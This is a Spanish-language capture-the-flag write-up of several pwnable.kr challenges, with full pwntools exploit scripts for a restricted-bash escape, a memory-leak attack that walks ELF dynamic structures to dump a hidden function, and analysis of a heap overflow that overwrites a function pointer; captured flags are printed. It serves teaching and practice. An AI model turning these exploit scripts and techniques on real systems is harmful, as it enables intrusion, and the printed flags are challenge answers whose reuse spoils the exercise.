asm3_pwn cmd3_pwn <-- dos_pwn hunter_pwn lotto mipstake_pwn random_pwn starcraft wtf
asm_pwn coin1 dragon input2 lotto_pwn mistake rootkit starcraft_pwn wtf_pwn
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
import os
io = remote("0.0.0.0",9023);
io.recvuntil(b"is in flagbox/");
filename = io.recvline().strip().decode();
io.info("Filename: " + filename);
os.system(f'mkdir -p /tmp/.___ && echo "cat flagbox/{filename}" > /tmp/.___/_');
io.recvuntil(b"$ ");
io.interactive()
Sin embargo ocurre lo siguiente:
1
2
$ /???/.___/_
/bin/rbash: line 1: /tmp/.___/_: restricted: cannot specify `/' in command names
El problema es que /???/.___/_ es interpretado como un comando y caemos en el mismo error. Pero $(</???/.___/_) no :)
La sintaxis “</ruta/archivo” significa “redirige la entrada estándar desde ese archivo…”, el nombre del archivo es válido en nuestro contexto. Si lo ejecutamos dentro de $() la shell lo expande a $(contenido del archivo) y luego ejecuta su contenido. Haciendo efectivamente un cat flagbox/{filename}.
Exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import os
io = remote("0.0.0.0",9023);
io.recvuntil(b"is in flagbox/");
filename = io.recvline().strip().decode();
io.info("Filename: " + filename);
os.system(f'mkdir -p /tmp/.___ && echo "cat flagbox/{filename}" > /tmp/.___/_');
io.recvuntil(b"$ ");
io.sendline(b"$(</???/.___/_)");
password = io.recv(32);
io.info("Password: " + password.decode());
io.sendline(password);
io.recvuntil(b"Congratz! here is flag : ");
flag = io.recv(100).decode();
io.info("Flag: " + flag);
b4sh_sYnt4x_1s_Fun
elf
Analisis
El reto nos da dos scripts de Python2:
gen.py: Construye y compila una librería compartida en C. La librerías contiene de 0 a 10000 funciones ‘not_my_flag{i}’, una función ‘yes_ur_flag’ con la flag del reto y de 0 a 10000 funciones ‘not_ur_flag’.elf.py: Carga en memorialibc.so.6y con una probabilidad del 10% genera tambienlibflag.so. Nos permite inspeccionar 32 bytes de memoria a partir de cualquier dirección de memoria del proceso.
Documentación
Este documento sirve como referencia para el formato ELF.
La descripción del reto hace referencia al paper “How the ELF Ruined Christmas”, que explica como funciona un ataque tipo ret2dl_resolve.
Tras leer el documento y ver la conferencia, esta es mi visión de como _dl_runtime_resolve(link_map, idx) resuelve un símbolo:
- Revisa la entrada Elf_Rel en la sección.rel.plt (representada como PLTREL en .dynamic) con el índice que se le pasa como segundo argumento.
- Usa el índice contenido en el campo Elf_Rel->r_info para encontrar la entrada correspondiente Elf_Sym en la sección.dynsym (representada como SYMTAB en .dynamic)
- Usa el índice contenido en el campo Elf_Sym->st_name para encontrar la cadena que representa el nombre del símbolo, contenida en la sección.dynstr (representada como STRTAB en .dynamic)
- Itera sobre las entradas de símbolos en la sección.dynsym de la librerías que esta resolviendo, hasta que Elf_Sym->st_name contenga un índice a la cadena correcta.
- Resuelve su dirección de memoria real inspeccionando el contenido de Elf_Sym->st_value en esa entrada.
- Actualiza la entrada correspondiente en la GOT con esta dirección.
Solución
Necesitamos filtrar los bytes de la función yes_ur_flag y extraer la flag. Para comenzar, en la versión de Ubuntu que usa el contenedor el intérprete de Python no es PIE (me percaté de eso leyendo un artículo interesante):
1
2
3
4
5
6
7
8
checksec python2.7
[*] '/home/kalcast/Laboratorio/pwn/kr/elf/python2.7'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
Depende de libc, así que en su GOT contiene punteros a funciones de la misma:
1
2
3
4
5
6
7
8
9
ldd elf/python2.7
linux-vdso.so.1 (0x00007f6fb117a000)
libpthread.so.0 => /usr/lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f6fb114d000)
libc.so.6 => /usr/lib/x86_64-linux-gnu/libc.so.6 (0x00007f6fb0f57000)
libdl.so.2 => /usr/lib/x86_64-linux-gnu/libdl.so.2 (0x00007f6fb0f52000)
libutil.so.1 => /usr/lib/x86_64-linux-gnu/libutil.so.1 (0x00007f6fb0f4d000)
libz.so.1 => /usr/lib/x86_64-linux-gnu/libz.so.1 (0x00007f6fb0f2d000)
libm.so.6 => /usr/lib/x86_64-linux-gnu/libm.so.6 (0x00007f6fb0e35000)
/lib64/ld-linux-x86-64.so.2 (0x00007f6fb117c000)
Ya teniendo la dirección base de libc, abusamos del hecho de que el loader usa la misma dirección base para aplicar ASLR a las libreríass cargadas por el programa, de tal forma que el offset entre la dirección base de libc.so y libflag.so es constante.
A pesar de haber hecho el cálculo del desplazamiento mientras depuraba el programa en el contenedor, este offset no era igual al del contenedor en remoto, tuve que aplicar un poco de fuerza bruta. Probando offsets cercanos al del contenedor acabé encontrando contenido de la STRTAB de libflag.so y a partir de ahí fui retrocediendo hasta dar con la dirección base de la librerías. Esto fue posible porque si revisamos el Dockerfile (y al conectarnos, en algun momento podremos darnos cuenta por un error) podemos ver que no tiene flag dentro, sin embargo no falla la línea flag = CDLL('/home/elf_pwn/libflag.so'), por lo que libflag.so no se recompila.
Ahora tenemos la dirección base de libflag.so. La forma correcta de encontrar un símbolo seria simular lo que hace _dl_runtime_resolve:
- Buscar el segmento de memoria que contiene la sección .dynamic
- Extraer la dirección de .dynsym
- Iterar sobre las entradas de .dynsym hasta encontrar el st_name que apunte a la cadena correcta
Pero como solo podemos “mirar” 25 veces en memoria y hay miles de símbolos esto queda descartado.
Punteros a función
Probando a compilar libflag.so varias veces y ver la disposición de memoria de sus símbolos me demostró que no es posible calcular el offset exacto. Sin embargo, analizando la sección.dynamic:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
readelf -d libflag.so
Dynamic section at offset 0x19ae18 contains 24 entries:
Marca Tipo Nombre/Valor
0x0000000000000001 (NEEDED) Biblioteca compartida: [libc.so.6]
0x000000000000000c (INIT) 0xba2d0
0x000000000000000d (FINI) 0x1024d4
0x0000000000000019 (INIT_ARRAY) 0x39ae00
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x39ae08
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x1f0
0x0000000000000005 (STRTAB) 0x765d0
0x0000000000000006 (SYMTAB) 0x1b4f0
0x000000000000000a (STRSZ) 246387 (bytes)
1
2
3
4
5
0000000000102487 T not_ur_flag7479
000000000010249a T not_ur_flag7480
00000000001024ad T not_ur_flag7481
00000000001024c0 T not_ur_flag7482
00000000001024d4 T _fini
La sección dynamic contiene un arreglo de estas estructuras:
1
2
3
4
5
6
7
typedef struct {
Elf64_Sxword d_tag
union {
Elf64_Xword d_val
Elf64_Addr d_ptr
} d_un
} Elf64_Dyn
Cuando d_tag es DT_FINI, d_ptr contiene un puntero a la función _fini. La disposicion de las funciones en memoria quedaría asi:
1
2
3
4
5
6
7
8
9
10
11
not_my_flagXXX
not_my_flagXXX
not_my_flagXXX
not_my_flagXXX
...
yes_ur_flag
not_ur_flagXXX
not_ur_flagXXX
not_ur_flagXXX
...
_fini
Si obtenemos la dirección de memoria de fini y conocemos cuantas funciones not_ur_flag hay y que tamaño en bytes tienen podemos obtener una dirección cuanto menos aproximada de yes_ur_flag.
La entrada STRSZ contiene el tamaño de STRTAB, si vamos casi al final de STRTAB vemos las últimas funciones not_ur_flag y podemos obtener su número.
Las funciones not_ur_flag ocupan 19 bytes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ sudo docker cp elf_chall:/home/elf_pwn/libflag.so libflag.so
Successfully copied 2.31MB to /home/kalcast/Laboratorio/pwn/kr/elf/libflag.so
$ nm -nD libflag.so| tail
0000000000102461 T not_ur_flag7477
0000000000102474 T not_ur_flag7478
0000000000102487 T not_ur_flag7479
000000000010249a T not_ur_flag7480
00000000001024ad T not_ur_flag7481
00000000001024c0 T not_ur_flag7482
00000000001024d4 T _fini
000000000039b030 B __bss_start
000000000039b030 D _edata
000000000039b038 B _end
$ python3 -c 'print(0x1024c0 - 0x1024ad)'
19
La solución entendida
El primer parámetro de _dl_runtime_resolve, link_map es un puntero al inicio de una lista enlazada de estructuras que contienen la dirección base y nombre de todas las librerías compartidas cargadas por el programa. Se encuentra generalmente en el heap y la segunda entrada de la GOT del programa apunta a esta estructura.
La idea es transitar la lista enlazada hasta encontrar libflag.so. Luego usar la sección.gnu.hash (dt_tag GNU_HASH en la sección.dynamic) para resolver el símbolo rápidamente. No voy a argumentar mas, pero este recurso explica como funciona DT_HASH y este de aqui explica DT_GNU_HASH y contienen código de referencia en C para implementar los algoritmos de búsqueda. Por último pwntools cuenta con utilidades para esto, como el objeto dynelf con los métodos lookup y _lookup que implementan las búsquedas.
Solución #1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
import struct
# sudo docker cp elf:/usr/bin/python2.7 python2.7
elf = context.binary = ELF("./python2.7")
# sudo docker cp elf:/lib/x86_64-linux-gnu/libc-2.23.so libc.so
libc = ELF("./libc.so")
#r = remote("0.0.0.0",9024)
r = remote("pwnable.kr",9024)
# Find libc base address
r.sendlineafter(b"addr?:", hex(elf.got['__libc_start_main']).encode())
leak = int(u64(r.recv(8)))
libc.address = leak - libc.sym['__libc_start_main']
r.info(f"LIBC base address: {hex(libc.address)}")
# Calculate libflag base address
#libflag_base = libc.address - 0x177d000 # (local)
libflag_base = libc.address - 0x1690000 + 0x1000 # (remote)
r.info(f"libflag.so base address: {hex(libflag_base)}")
"""
# Bruteforce
for i in range(25):
libflag_base = libc.address - 0x1682000
libflag_base -= i*0x1000
r.sendline(hex(libflag_base).encode())
l = r.recvuntil(b"addr?")
if b"ELF" in l:
print("JACKPOT")
r.info(hex(libc.address - libflag_base))
r.info(hex(libflag_base))
print(l)
print(i)
break
#exit(1)
"""
# Find .dynamic segment
r.sendlineafter(b"addr?:", hex(libflag_base + 0x40 + 0x38*2).encode())
data = r.recv(32)
r.sendlineafter(b"addr?:", hex(libflag_base + 0x40 + 0x38*2 + 32).encode())
data += r.recv(24)
p_type, p_flags, p_offset, p_vaddr, p_paddr, p_filesz, p_memsz, p_align = struct.unpack("<IIQQQQQQ", data)
r.info(".dynamic")
print(f"p_type: {hex(p_type)}")
print(f"p_flags: {hex(p_flags)}")
print(f"p_offset: {hex(p_offset)}")
print(f"p_vaddr: {hex(p_vaddr)}")
print(f"p_paddr: {hex(p_paddr)}")
print(f"p_filesz: {hex(p_filesz)}")
print(f"p_memsz: {hex(p_memsz)}")
print(f"p_align: {hex(p_align)}")
# Find STRTAB
r.sendlineafter(b"addr?:", hex(libflag_base + p_vaddr + 16*8).encode())
data = r.recv(16)
strtab_d_tag, strtab_d_val = struct.unpack("<QQ",data)
r.info("STRTAB")
print(f"d_tag: {hex(strtab_d_tag)}")
print(f"d_val: {hex(strtab_d_val)}")
# Find STRSZ
r.sendlineafter(b"addr?:", hex(libflag_base + p_vaddr + 16*10).encode())
data = r.recv(16)
strsz_d_tag, strsz_d_val = struct.unpack("<QQ",data)
r.info("STRSZ")
print(f"d_tag: {hex(strsz_d_tag)}")
print(f"d_val: {hex(strsz_d_val)}")
# Find number of 'not_ur_flag' functions
r.sendlineafter(b"addr?:", hex(strtab_d_val + strsz_d_val - 0x48).encode())
r.recvuntil(b"flag"); n = int(r.recvuntil(b"libc")[:-5])
r.info(f"Number of 'not_ur_flag' symbols: {n}")
# Find _fini address
r.sendlineafter(b"addr?:", hex(libflag_base + p_vaddr + 16*2).encode())
data = r.recv(16)
FINI_d_tag, FINI_d_val = struct.unpack("<QQ",data)
r.info("DTFINI")
print(f"d_tag: {hex(FINI_d_tag)}")
print(f"d_val: {hex(FINI_d_val)}")
# Leak 'yes_ur_flag'
leak = b""
for i in range(25-7):
# 'not_ur_flag' functions are 19 bytes long each
addr = libflag_base + FINI_d_val - n*19 - i*32
r.sendline(hex(addr).encode())
l = r.recvuntil(b"addr?")
leak += l
print(l)
open("code","wb").write(leak)
# ELF64 structs
"""
typedef struct {
uint32_t p_type; /* Tipo de segmento (PT_LOAD, PT_DYNAMIC, etc.) */
uint32_t p_flags; /* Flags de acceso (R/W/X) */
uint64_t p_offset; /* Offset en el archivo */
uint64_t p_vaddr; /* Dirección virtual en memoria */
uint64_t p_paddr; /* Dirección física (no usado en userland) */
uint64_t p_filesz; /* Tamaño en el archivo */
uint64_t p_memsz; /* Tamaño en memoria */
uint64_t p_align; /* Alineación */
} Elf64_Phdr;
typedef struct {
Elf64_Sxword d_tag
union {
Elf64_Xword d_val
Elf64_Addr d_ptr
} d_un
} Elf64_Dyn
"""
Solución #2:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/env python
from pwn import *
# r = process('./elf.py')
r = remote('pwnable.kr', 9024)
#r = remote('0.0.0.0', 9024)
count = 0
def leak(addr):
global count
if count == 25:
exit("Too many attempts")
r.recvuntil(b"addr?:")
r.sendline(hex(addr).encode())
ret = r.recv(32)
count += 1
return ret
def gnu_hash(name):
h = 5381
for i in range(0, len(name)):
h = (h << 5) + h + ord(name[i])
return h & 0xffffffff
def elf_lookup(strtab, symtab, hashtab, name):
# For DT_GNU_HASH in a ELF32+
log.info("Launching elf_lookup")
data = leak(hashtab)
namehash = gnu_hash(name)
nbucket, symoffset, bloomsize, bloomshift = struct.unpack("<IIII", data[:16])
bloom = hashtab + 16
buckets = bloom + (bloomsize * 8)
chain = buckets + (nbucket * 4)
#namehash = dynelf.gnu_hash("yes_ur_flag")
print(f"namehash={namehash}")
print(f"nbucket={nbucket}")
print(f"symoffset={symoffset}")
print(f"bloomsize={bloomsize}")
print(f"bloomshift={bloomshift}")
print(f"buckets={hex(buckets)}")
print(f"chain={hex(chain)}")
#TODO OK
word_addr = bloom + ((namehash // 64) % bloomsize) * 8
word = u64(leak(word_addr)[:8])
mask = (1 << (namehash % 64)) | (1 << ((namehash >> bloomshift) % 64))
if (word & mask) != mask:
return 0
bucket_entry_addr = buckets + (namehash % nbucket) * 4
symix = u32(leak(bucket_entry_addr)[:4])
if symix < symoffset:
return 0
while True:
sym_entry = leak(symtab + symix*24)
st_name, st_info, st_other, st_shndx, st_value, st_size = struct.unpack("<IbbHQQ", sym_entry[:24])
symname = leak(strtab + st_name)
symname = symname.split(b'\x00')[0]
_hash = u32(leak(chain + (symix - symoffset) * 4)[:4])
if((namehash | 1) == (_hash | 1) and name == symname.decode()):
return st_value
if _hash & 1 :
break
symix += 1
return 0
# got[1]
link_map = u64(leak(0x8de000+0x8)[:8]) # addr of link map here
log.info("link map start {}".format(hex(link_map)))
"""
struct link_map
{
ElfW(Addr) l_addr;
char *l_name;
ElfW(Dyn) *l_ld;
struct link_map *l_next,
*l_prev;
};
"""
node = leak(link_map)
#node = leak(u64(node[-8:]))
#node = leak(u64(node[-8:])) # /lib/x86_64-linux-gnu/libpthread
#node = leak(u64(node[-8:])) # /lib/x86_64-linux-gnu/libc.so.6
#node = leak(u64(node[-8:])) # /lib/x86_64-linux-gnu/libdl.so.2
#node = leak(u64(node[-8:])) # /lib/x86_64-linux-gnu/libutil.so
#node = leak(u64(node[-8:])) # /lib/x86_64-linux-gnu/libz.so.1
#node = leak(u64(node[-8:])) # /lib/x86_64-linux-gnu/libm.so.6
#node = leak(u64(node[-8:])) # /lib64/ld-linux-x86-64.so.2
node = leak(u64(node[-8:]) - 3368)
#node = leak(u64(node[-8:])) # /usr/lib/python2.7/lib-dynload/_
#node = leak(u64(node[-8:])) # /lib/x86_64-linux-gnu/libcrypto.
#node = leak(u64(node[-8:])) # /usr/lib/python2.7/lib-dynload/_
#node = leak(u64(node[-8:])) # /usr/lib/x86_64-linux-gnu/libffi
#node = leak(u64(node[-8:])) # ./libflag.so
node = leak(u64(node[-8:]) - 49744)
flag = u64(node[:8])
log.info("./libflag {}".format(hex(flag)))
# with pwntools is too easy
#dyn = DynELF(leak,flag)
#x = dyn._lookup(b'yes_ur_flag')
#print(leak(x))
#exit(1)
# Find .dynamic segment
r.sendlineafter(b"addr?:", hex(flag + 0x40 + 0x38*2).encode())
count += 1
data = r.recv(32)
r.sendlineafter(b"addr?:", hex(flag + 0x40 + 0x38*2 + 32).encode())
count += 1
data += r.recv(24)
p_type, p_flags, p_offset, p_vaddr, p_paddr, p_filesz, p_memsz, p_align = struct.unpack("<IIQQQQQQ", data)
log.info(".dynamic")
print(f"p_type: {hex(p_type)}")
print(f"p_flags: {hex(p_flags)}")
print(f"p_offset: {hex(p_offset)}")
print(f"p_vaddr: {hex(p_vaddr)}")
print(f"p_paddr: {hex(p_paddr)}")
print(f"p_filesz: {hex(p_filesz)}")
print(f"p_memsz: {hex(p_memsz)}")
print(f"p_align: {hex(p_align)}")
# Find GNU_HASH
r.sendlineafter(b"addr?:", hex(flag + p_vaddr + 16*7).encode())
count += 1
data = r.recv(16)
hash_d_tag, hash_d_val = struct.unpack("<QQ",data)
log.info("GNU_HASH")
print(f"d_tag: {hex(hash_d_tag)}")
print(f"d_val: {hex(hash_d_val)}")
# Find STRTAB
r.sendlineafter(b"addr?:", hex(flag + p_vaddr + 16*8).encode())
count += 1
data = r.recv(16)
strtab_d_tag, strtab_d_val = struct.unpack("<QQ",data)
log.info("STRTAB")
print(f"d_tag: {hex(strtab_d_tag)}")
print(f"d_val: {hex(strtab_d_val)}")
# Find SYMTAB
r.sendlineafter(b"addr?:", hex(flag + p_vaddr + 16*9).encode())
count += 1
data = r.recv(16)
symtab_d_tag, symtab_d_val = struct.unpack("<QQ",data)
log.info("SYMTAB")
print(f"d_tag: {hex(strtab_d_tag)}")
print(f"d_val: {hex(strtab_d_val)}")
yes_offset = elf_lookup(strtab_d_val, symtab_d_val, hash_d_val, "yes_ur_flag")
log.info("Dumping the code:")
for i in range(25-count):
print(leak(flag + yes_offset + i*32))
by_3xpl0it1ing_of_CouRs3
lfh
1
2
3
4
5
6
7
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fa000)
RUNPATH: b'.'
Stripped: No
Análisis
Encontré el código fuente de la versión vieja del reto, lo que hace más rápido el proceso de ingeniería inversa:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
/*
this is poorly coded version of Heap allocator that mimics the Windows LFH.
this implementation assumes single-threaded program, also it sucks in terms of performance and stability and etc.
but the point of this implementation is security PoC.
I only spent a few hours to make this allocator, so don't blame it although its ridiculous :) - daehee.
*/
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#define SECURE_HEAP 1
#define INSECURE_HEAP 0
#define BUCKET_SIZE 0x4000
typedef unsigned int UINT;
typedef unsigned int BOOL;
using namespace std;
class Bucket{
public:
Bucket* next;
UINT security_mode;
UINT chunk_class;
UINT n_total_chunk;
UINT n_alloc_chunk;
char* bitarray;
char* mem;
char getBit(int index){ return (bitarray[index/8] >> 7-(index & 0x7)) & 0x1; }
void setBit(int index){ bitarray[index/8] = bitarray[index/8] | 1 << 7-(index & 0x7); }
void clearBit(int index){ bitarray[index/8] = bitarray[index/8] & ~(1 << 7-(index & 0x7)); }
Bucket(UINT m_class, UINT mode){
this->next = NULL;
this->security_mode = mode;
this->chunk_class = m_class;
this->n_total_chunk = BUCKET_SIZE / this->chunk_class;
this->n_alloc_chunk = 0;
this->mem = (char*)mmap(0, BUCKET_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
mmap(0, 0x1000, PROT_NONE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); // guard page
this->bitarray = (char*)malloc( (this->n_total_chunk/8) + 1 );
}
void* Alloc(){
if(this->n_alloc_chunk == n_total_chunk) return NULL; // bucket is full.
// R = rand number between (0 ~ n_free_chunk-1)
UINT n_free_chunk = this->n_total_chunk - this->n_alloc_chunk;
UINT R = ((UINT)rand() * 0xdeadbeef) % (n_free_chunk);
UINT i = 0;
UINT idx = 0;
// find the index of first available chunk
while(this->getBit(idx)){
idx++;
}
// secure non-deterministic allocation for heap layout randomization
if(this->security_mode == SECURE_HEAP){
for(i=0; i<R; i++){
// find the index of next available chunk
do{
idx++;
}while(this->getBit(idx));
}
}
if(idx >= this->n_total_chunk){
exit(0);
}
this->setBit(idx); // mark as allocated
void* result;
result = this->mem + (this->chunk_class * idx);
this->n_alloc_chunk++;
return result;
}
void Free(void* p){
UINT idx=0;
while(idx < this->n_total_chunk){
// chunk to free
if( (this->mem + (this->chunk_class * idx)) == p){
this->clearBit(idx);
this->n_alloc_chunk--;
break;
}
idx++;
}
}
};
typedef struct _tagMETA{
void* chunk_addr;
Bucket* bucket;
struct _tagMETA* next;
}META;
class LFH{
public:
META* meta;
UINT security_mode; // security mode. 0:deterministic 1:non-deterministic
Bucket* pbuck;
LFH(UINT mode){
this->meta = NULL;
this->security_mode = mode;
this->pbuck = NULL;
}
void* Alloc(UINT size){
UINT chunk_class = (size/0x10) * 0x10 + 0x10;
if(size>BUCKET_SIZE){
printf("use different allocator for this size\n");
return NULL;
}
if(this->pbuck==NULL){
this->pbuck = new Bucket(chunk_class, this->security_mode);
return this->pbuck->Alloc();
}
Bucket* bk = this->pbuck;
void* r;
META* m;
while(1){
// proper bucket found
if(bk->chunk_class == chunk_class){
r = bk->Alloc();
if(r){
m = (META*)malloc(sizeof(META));
m->chunk_addr = r;
m->bucket = bk;
m->next = this->meta;
this->meta = m;
return r; // allocation success! if not -> keep going
}
}
if(bk->next==NULL) break;
else bk = bk->next;
}
bk->next = new Bucket(chunk_class, this->security_mode);
r = bk->next->Alloc();
if(r){
m = (META*)malloc(sizeof(META));
m->chunk_addr = r;
m->bucket = bk->next;
m->next = this->meta;
this->meta = m;
return r;
}
return NULL;
}
void Free(void* p){
META* m = this->meta;
while(m){
if(m->chunk_addr == p){
m->bucket->Free(p);
break;
}
m = m->next;
}
}
};
LFH* lfh;
void* HeapAlloc(UINT size){
return lfh->Alloc(size);
}
void HeapFree(void* p){
lfh->Free(p);
}
#pragma pack(1)
typedef struct _tagBOOK{
char title[32];
char abstract[256];
void (*fptr)(struct _tagBOOK*);
UINT content_len;
BOOL is_unicode;
char* content;
struct _tagBOOK* next;
}BOOK;
void release_book(BOOK* p){
HeapFree( p->content );
};
typedef struct _tagBOOKS{
UINT n_total;
BOOK* head;
}BOOKS;
BOOKS* load_file(const char* fname){
int fd = open(fname, O_RDONLY);
if(fd<0){
printf("can't open %s\n", fname);
exit(0);
}
// read file header
UINT header;
UINT r;
r = read(fd, &header, 4);
if(r!=4){
printf("can't read file header\n");
exit(0);
}
// check file header
if(header!=0x4b4f4f42){
printf("invalid file magic\n");
exit(0);
}
// parse books
BOOKS* books = (BOOKS*)HeapAlloc(sizeof(BOOKS));
books->head = 0;
books->n_total = 0;
BOOK* pbook;
UINT len=0;
while(1){
pbook = (BOOK*)HeapAlloc(sizeof(BOOK));
r = read(fd, pbook, sizeof(BOOK));
if(r!=sizeof(BOOK)){
break;
}
pbook->title[31]=0;
pbook->abstract[255]=0;
pbook->content = 0;
pbook->fptr = release_book;
pbook->next = books->head;
books->head = pbook;
// restrict large string
if(pbook->content_len > 0x1000){
break;
}
pbook->content = (char*)HeapAlloc(pbook->content_len);
memset(pbook->content, 0, pbook->content_len);
len = pbook->content_len;
if(pbook->is_unicode) len *= 2;
r = read(fd, pbook->content, len);
if(r!=len){
break;
}
pbook->content[ len - 1 ] = 0;
books->n_total++;
}
close(fd);
return books;
}
int main(int argc, char* argv[]){
// usage
if(argc!=3){
printf("usage: %s [file] [0|1]\n", argv[0]);
exit(0);
}
// check file validity
struct stat sb;
if(stat(realpath(argv[1],0), &sb)==-1){
printf("%s is not a valid file\n", realpath(argv[1],0));
exit(0);
}
// setup pseudo-random seed
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("cannot open /dev/urandom\n");
exit(0);
}
int seed;
read(fd, &seed, 4);
srand(seed);
close(fd);
UINT mode = atoi(argv[2]);
if(mode == SECURE_HEAP){
printf("using secure non-deterministic heap.\n");
printf("this option fortifies your heap from corruption. continue?(y/n)\n");
}
else if(mode == INSECURE_HEAP){
printf("using unsecure deterministic heap.\n");
printf("the program could be vulnerable to heap exploit attack. continue?(y/n)\n");
}
else{
printf("unknown allocator mode\n");
exit(0);
}
char c = getchar();
if(c!='y'){
printf("abort file processing.\n");
exit(0);
}
lfh = new LFH(mode);
BOOKS* books = load_file(argv[1]); // input rendering
BOOK* p = books->head;
while(p){
// display the book
printf("title: %s\n", p->title);
printf("abstract: %s\n", p->abstract);
printf("content: %s\n", p->content);
p = p->next;
}
printf("file processing done. terminating the program\n");
p = books->head;
BOOK* p2;
while(p){
p2 = p->next;
p->fptr(p); // typical destructor for objects.
p = p2;
}
printf("%d books in %s file were successfully parsed\n", books->n_total, realpath(argv[1], 0));
return 0;
}
El programa espera como argumento un documento con un conjunto de libros para formatearlo, teniendo también la opción SECURE_HEAP para “aleatorizar” las reservas. Usa una lista enlazada de chunks tipo META, cada chunk pertenece a un Bucket, una estructura de datos que contiene chunks del mismo tamaño, los chunks son asignados y liberados por el LFH. Cada Bucket son 4 páginas de memoria divididas en chunks de igual tamaño, con un “page guard”. El tamaño de chunks es múltiplo de 16, hay teóricamente buckets con chunks que van desde 0x10 bytes hasta un Bucket con un chunk de 0x4000 bytes.
Vulnerabilidad
La aplicación tiene algunas fallas pero la más relevante es que si se especifica que un libro es unicode se lee desde el archivo el doble de los bytes del contenido y se escribe dentro de la memoria del bucket correspondiente, un buffer overflow que copia el doble de los datos. La opción SECURE_HEAP la convierte en un vector de ataque factible.
Explotación
La idea es que con el heap overflow podamos sobreescribir el puntero fptr de una estructura “Book” para ganar control del programa. También nótese que a fptr se le pasa como argumento la misma estructura, por lo que title puede ser sobreescrito para usarse como el primer parámetro.
printf("file processing done. terminating the program\n");
p = books->head;
BOOK* p2;
while(p){
p2 = p->next;
p->fptr(p); // typical destructor for objects.
p = p2;
}
Normalmente no se podría hacer esto, pero debido a que SECURE_HEAP hace esto:
// R = rand number between (0 ~ n_free_chunk-1)
UINT n_free_chunk = this->n_total_chunk - this->n_alloc_chunk;
UINT R = ((UINT)rand() * 0xdeadbeef) % (n_free_chunk);
UINT i = 0;
UINT idx = 0;
// find the index of first available chunk
while(this->getBit(idx)){
idx++;
}
// secure non-deterministic allocation for heap layout randomization
if(this->security_mode == SECURE_HEAP){
for(i=0; i<R; i++){
// find the index of next available chunk
do{
idx++;
}while(this->getBit(idx));
}
}
Es decir, en lugar de insertar el chunk en la posición N lo hace en N+ R, donde N es un número entre [0,n_free_chunk-1], es decir lo inserta en una posición más adelante aleatoria. Esto permite, por ejemplo, cuando se tienen solo un espacio adicional, es probable que el último que pongamos esté antes de algún “Book” ya reservado:
Ya que el tamaño de un “BOOK” es 0x140, se escribe 0x140*2=0x280, pero en el Bucket los elementos se almacenan con ese tamaño + 0x10, por lo que 0x150 bytes ocupan el falso “BOOK” que ocupa el content en el Bucket y 0x130 son lo que sobreescribe en otro “BOOK” evitando así pisar content y next. Esto lo podemos hacer varias veces porque si el Bucket de ese tamaño esta lleno se crea un nuevo Bucket:
while(1){
// proper bucket found
if(bk->chunk_class == chunk_class){
r = bk->Alloc();
if(r){
m = (META*)malloc(sizeof(META));
m->chunk_addr = r;
m->bucket = bk;
m->next = this->meta;
this->meta = m;
return r; // allocation success! if not -> keep going
}
}
if(bk->next==NULL) break;
else bk = bk->next;
}
